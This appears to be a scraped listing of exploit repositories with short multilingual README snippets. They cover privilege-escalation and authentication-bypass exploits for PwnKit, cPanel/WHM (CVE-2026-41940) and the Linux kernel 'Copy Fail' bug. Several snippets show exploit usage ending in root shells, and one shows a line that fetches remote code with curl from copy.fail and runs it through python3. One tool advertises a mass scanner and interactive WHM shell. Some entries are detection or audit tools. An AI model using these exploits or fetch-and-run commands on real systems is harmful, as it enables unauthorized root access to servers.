CVE-2021-4034

CVE-2021-4034 root@kitploit: $ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" gconv-modules mkdir -p GCONVPATH=. cp /usr/bin/true GCONVPATH=./pwnkit.so:. $ ./cve-2021-4034 whoami root exit...

CVE-2024-10220-githooks

Test CVE-2024-10220 riferimento https://irsl.medium.com/sneaky-write-hook-git-clone-to-root-on-k8s-node-e38236205d54...

CVE-2024-37081

CVE-2024-37081: Multipla Escalation dei Privilegi Locali in VMware vCenter Server Il vCenter Server contiene molteplici vulnerabilità di escalation locale dei privilegi dovute a una errata configurazione di sudo. Un utente locale autenticato con privilegi non amministrativi potrebbe sfruttare...

cPanelSniper

cPanelSniper CVE-2026-41940 — Bypass dell'autenticazione cPanel & WHM tramite iniezione CRLF nel file di sessione Catena di exploit in 4 fasi · Shell WHM interattiva · Scanner di massa · Pronto per pipeline · Solo stdlib Panoramica cPanelSniper è un framework di sfruttamento mirato per...

CVE-2026-41940-AuthBypass-Detector

CVE-2026-41940 Erkennung & Verifizierung Überblick Dieses Tool erkennt cPanel/WHM-Instanzen, die anfällig für CVE-2026-41940 sind , eine kritische Authentifizierungsumgehung, die von watchTowr Labs entdeckt wurde. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, Root-Zugri...

copy-fail

copy-fail PoC do CVE-2026-31431 USO: wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...

2026-41940-poc

CVE-2026-41940 - cPanel/WHM प्रमाणीकरण बाईपास CVSS 9.8 | CRLF इंजेक्शन के माध्यम से अनधिकृत रूट एक्सेस उपयोग python3 cp.py -t cpanel.target.com पता लगाएं python3 cp.py -t cpanel.target.com --exploit शोषण करें @nickpaulsec...

CVE-2026-41940-cPanel-Auth-Bypass-Exploit

CVE-2026-41940: Análise de Bypass de Autenticação no cPanel/WHM Visão Geral da Vulnerabilidade A CVE-2026-41940 é uma vulnerabilidade crítica de bypass de autenticação no cPanel & WHM que afeta todas as versões atualmente suportadas. Ela permite que um atacante não autenticado contorne a...

poc-cpanel-cve-2026-41940

POC cPanel CVE-2026-41940 Uno strumento di audit di sicurezza ad alte prestazioni e multi-thread progettato per rilevare CVE-2026-41940 , una vulnerabilità critica di Authentication Bypass in cPanel & WHM scoperta ad aprile 2026. Questo strumento sfrutta una tecnica di CRLF Injection negli header...

CVE-2026-41940

CVE-2026-41940 Auto Exploit Panoramica CVE-2026-41940 è un proof-of-concept PoC che mira a cPanel/WHM. Questo exploit dimostra un bypass di autenticazione non autenticato utilizzando l'iniezione CRLF per divulgare i token di sicurezza e ottenere accesso a livello root all'interfaccia WHM,...

copy-fail-CVE-2026-31431-php

CVE-2026-31431 Copy Fail PoC PHP root@kitploit: www-data@jumpbox:/home$ id uid=33www-data gid=33www-data groups=33www-data www-data@jumpbox:/home$ uname -a Linux testbox 5.15.0-136-generic 147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x8664 x8664 x8664 GNU/Linux www-data@jumpbox:/home$ php...

CVE-2026-31431-RCE-Exploit

🔴 CVE-2026-31431 — "Copy Fail" Un Bug Logico del Kernel Linux Vecchio di 9 Anni che Concede Root in Secondi Panoramica Copy Fail è una vulnerabilità di escalation dei privilegi locale LPE ad alta gravità nel sottosistema crittografico del kernel Linux algifaead. Scoperta e divulgata da Theori...

cve_2026_31431_audit

Audit CVE-2026-31431 Questo progetto fornisce uno script Python professionale progettato per verificare se un sistema è vulnerabile a CVE-2026-31431 e dimostra come sfruttarlo a scopo di ricerca. 🎬 Flusso di lavoro completo Il diagramma seguente illustra il flusso di lavoro completo dall'Audit...

CVE-2026-31431-Copy-Fail

CVE-2026-31431-Copy-Fail xpl0ited da infrar3d Questo repository contiene un proof‑of‑concept per lo sfruttamento di CVE-2026-31431 Copy Fail. CVE-2026-31431, nota come "Copy Fail", è una vulnerabilità di elevazione dei privilegi locali LPE ad alta gravità nel kernel Linux, presente da quasi un...

CVE-2021-4034

CVE-2021-4034 Eine einfache PWNKIT-Datei, um dich zu root zu machen. | Nur für Bildungszwecke. Was ist das? Es ist ein vorgefertigtes und vorgezipptes PWNKIT. Warum? Ich arbeite an einem Skript AUTO-PWNKIT, um das Pwnkit zu automatisieren, und ich werde dieses Repos verwenden. AutoPwnkit-Tool...

CVE-2021-4034

CVE-2021-4034 Offensichtlich nicht original. Habe es überarbeitet, um zu verstehen, was vor sich geht. Credits an https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt für das Finden der Schwachstelle! Andere PoCs, die mir geholfen haben, den Exploit zu verstehen:...

copy-fail

Copy Fail PoC Proof of Concept für CVE=2026-31431 Diese Skripte erhöhen jeden regulären Benutzer auf Root-Rechte. Funktioniert auf den meisten Linux-Distributionen und CPUs. Technischer Bericht unter https://copy.fail...

CVE-2026-24061

Bypass dell'autenticazione tramite injection di argomenti in GNU InetUtils telnetd CVE-2026-24061 Nel gennaio 2026, il servizio GNU telnetd di GNU InetUtils è risultato vulnerabile al bypass dell'autenticazione, scoperto daKyu Neushwaistein alias Carlos Cortes Alvarez. Tracciata come...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash einige Verwendung: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

Pack2TheRoot

CVE-2026-41651 – Pack2TheRoot-Schwachstelle Überblick CVE-2026-41651, auch bekannt als die Pack2TheRoot-Schwachstelle, ist ein kritischer Sicherheitsfehler, der bestimmte Linux-Systeme betrifft. Er ermöglicht einem Angreifer, Privilegien zu erweitern und möglicherweise Root-Zugriff zu erlangen od...